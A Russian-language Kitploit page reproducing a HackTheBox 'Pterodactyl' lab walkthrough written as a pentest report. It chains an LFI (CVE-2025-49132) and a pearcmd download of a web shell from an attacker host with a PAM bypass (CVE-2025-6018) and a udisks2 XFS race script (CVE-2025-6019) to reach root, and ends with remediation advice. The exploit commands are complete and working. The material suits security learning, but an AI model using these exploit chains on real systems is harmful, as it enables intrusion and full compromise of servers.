Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HTB-Pterodactyl-Writeup — HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included. | Kitploit
Инструменты/GitHubGitHub/v0idw1re/htb-pterodactyl-writeup
Password CrackingPrivilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationCTF

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Penetration Testing
Learning & Education
Labs & Practice
GitHubv0idw1re/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included.

Репозиторий
4 месяцев назадЕщё не проверено
Поделиться

Отчет о тесте на проникновение — HackTheBox: Pterodactyl

Дата: 8 апреля 2026 г.
Цель: Pterodactyl (HackTheBox)
Сложность: Средняя
ОС: Linux (openSUSE Leap 15.6)
Тестер: V0idW1re


Краткое описание

Машина Pterodactyl на HackTheBox представила реалистичный сценарий атаки, включающий неправильно сконфигурированное веб-приложение и связанные уязвимости повышения привилегий. Начиная с неаутентифицированной позиции, тестер получил полный доступ root через логическую последовательность шагов эксплуатации. Цепочка атак включала неаутентифицированную уязвимость включения локального файла, творческое использование менеджера пакетов PHP для удаленного выполнения кода, извлечение и взлом учетных данных, а затем связывание двух публично раскрытых CVE для повышения привилегий от низкопривилегированного пользователя до root.


Объем

ПолеЗначение
IP цели10.129.25.223
Имя хостаpterodactyl.htb
ОСopenSUSE Leap 15.6
СлужбыSSH (22), HTTP (80)
Поддоменыpanel.pterodactyl.htb

Методология

Оценка проводилась в соответствии со стандартной методологией тестирования на проникновение:

  1. Разведка и обнаружение служб
  2. Анализ веб-приложений
  3. Начальная эксплуатация
  4. Постэксплуатация и горизонтальное перемещение
  5. Повышение привилегий
  6. Подтверждение компрометации

Результаты

Результат 1 — Неаутентифицированное включение локального файла (CVE-2025-49132)

Серьезность: Критичный
Компонент: Pterodactyl Panel v1.11.10 — конечная точка /locales/locale.json

Описание:
Конечная точка локали Pterodactyl Panel не очищала параметры запроса locale и namespace, что позволяло осуществлять обход каталогов. Поскольку приложение добавляло .php к значению namespace и загружало его через механизм include в PHP, атакующий мог заставить сервер загрузить и выполнить произвольные PHP-файлы в файловой системе.

Эксплойт:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database

Воздействие:
Из config/database.php были извлечены учетные данные базы данных:

  • Имя пользователя: pterodactyl
  • Пароль: PteraPanel
  • База данных: panel

Ключ приложения Laravel также был извлечен из config/app.php.

Доказательство:

root@kitploit:~
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}

Результат 2 — Удаленное выполнение кода через pearcmd.php

Серьезность: Критичный
Компонент: Установка PHP PEAR + LFI

Описание:
Имея примитив LFI, тестер использовал сценарий pearcmd.php менеджера пакетов PEAR. Когда в конфигурации PHP включен register_argc_argv=On (подтверждено через phpinfo), строка запроса интерпретируется pearcmd как аргументы командной строки. Команда download использовалась для загрузки PHP-веб-шелла с сервера атакующего и сохранения его в общедоступную веб-директорию панели.

Эксплойт:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php

Воздействие:
PHP-веб-шелл был записан в /var/www/pterodactyl/public/shell.php, что обеспечило неаутентифицированное удаленное выполнение кода от пользователя wwwrun.

Доказательство:

root@kitploit:~
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)

Результат 3 — Учетные данные базы данных в открытом виде и слабое хранение паролей

Серьезность: Высокий
Компонент: База данных MySQL panel

Описание:
Используя RCE-шелл, тестер подключился к базе данных MySQL, используя учетные данные, полученные через LFI. Таблица users содержала хеши bcrypt для всех пользователей панели. Хеш пользователя phileasfogg3 был взломан офлайн с использованием общего словаря.

Эксплойт:

root@kitploit:~
SELECT username, password FROM users;

Взломанные учетные данные:

  • Имя пользователя: phileasfogg3
  • Пароль: !QAZ2wsx

Воздействие:
Был получен доступ по SSH как phileasfogg3, и захвачен пользовательский флаг:

root@kitploit:~
user.txt: 916235b4261e70fdb090402c641a7808

Результат 4 — Обход привилегий через переменные окружения PAM (CVE-2025-6018)

Серьезность: Высокий
Компонент: Конфигурация PAM — pam_env.so с user_readenv=1

Описание:
Конфигурация PAM на openSUSE Leap 15.6 загружает файл ~/.pam_environment пользователя через pam_env.so с user_readenv=1. Устанавливая определенные переменные окружения в этом файле, непривилегированный пользователь SSH может обмануть systemd-logind и Polkit, заставив их считать сессию активной физической консольной сессией, тем самым получив привилегии allow_active.

Эксплойт:

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

После повторного подключения по SSH сессия была распознана как Active=yes, что позволило непривилегированно вызывать методы D-Bus udisks2, которые обычно требуют физического присутствия на консоли.

Доказательство:

root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt

Результат 5 — Состояние гонки при изменении размера XFS в udisks2 (CVE-2025-6019)

Серьезность: Критичный
Компонент: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize

Описание:
Когда udisks2 изменяет размер файловой системы XFS через libblockdev, он временно монтирует образ файловой системы в общедоступную директорию в /tmp/blockdev.* без флагов монтирования nosuid и nodev. Это создает короткое окно состояния гонки, в течение которого любой SUID-бинарный файл, присутствующий в образе, может быть выполнен с повышенным эффективным UID.

Атакующий с привилегиями Polkit allow_active (полученными через CVE-2025-6018) может:

  1. Создать образ XFS, содержащий SUID-бинарный файл bash, принадлежащий root
  2. Настроить loop-устройство через udisksctl loop-setup
  3. Запустить изменение размера через D-Bus
  4. Успеть выполнить SUID-бинарный файл во временном окне монтирования без nosuid

Важное замечание о совместимости образов XFS:
Образ XFS должен быть создан с определенными флагами для openSUSE Leap 15.6 (SP5/SP6):

root@kitploit:~
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

Эксплойт:

root@kitploit:~
# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt

# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
    /tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
    /org/freedesktop/UDisks2/block_devices/loop0 \
    org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0

Доказательство:

root@kitploit:~
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

Root-флаг:

root@kitploit:~
root.txt: d3a242011c18cb81f08ad80337330641

Подтверждение доступа

ФлагЗначение
user.txt916235b4261e70fdb090402c641a7808
root.txtd3a242011c18cb81f08ad80337330641

Сводка повышения привилегий

root@kitploit:~
[Неаутентифицированный]
    ↓ CVE-2025-49132 (LFI)
[Учетные данные БД]
    ↓ pearcmd RCE
[Оболочка wwwrun]
    ↓ дампинг MySQL + взлом хеша
[SSH phileasfogg3]
    ↓ CVE-2025-6018 (обход PAM → allow_active)
    ↓ CVE-2025-6019 (гонка изменения размера XFS udisks2)
[root]

Воздействие

Полная компрометация целевой системы. Атакующий с таким уровнем доступа может:

  • Читать, изменять или удалять любые файлы на системе
  • Устанавливать постоянные бэкдоры или вредоносное ПО
  • Перемещаться на другие системы в сети
  • Получить доступ ко всем хранимым учетным данным и конфиденциальным данным
  • Нарушить работу или манипулировать размещенными службами

Устранение


Этот отчет был подготовлен в образовательных целях в рамках лабораторного упражнения HackTheBox. Все тестирование проводилось в легальной изолированной лабораторной среде.

Скачать инструмент
РезультатУстранение
CVE-2025-49132 (LFI)Обновите Pterodactyl Panel до версии v1.11.11 или выше, которая применяет строгую проверку только алфавитно-цифровых символов для параметров locale/namespace
pearcmd RCEУстановите register_argc_argv=Off в php.ini; удалите PEAR, если он не нужен
Слабый парольВнедрите строгую политику паролей; используйте менеджер паролей
CVE-2025-6018 (PAM)Установите user_readenv=0 в конфигурации PAM для pam_env.so
CVE-2025-6019 (udisks2)Обновите udisks2 и libblockdev до исправленных версий; измените правило Polkit для org.freedesktop.udisks2.modify-device, изменив allow_active с yes на auth_admin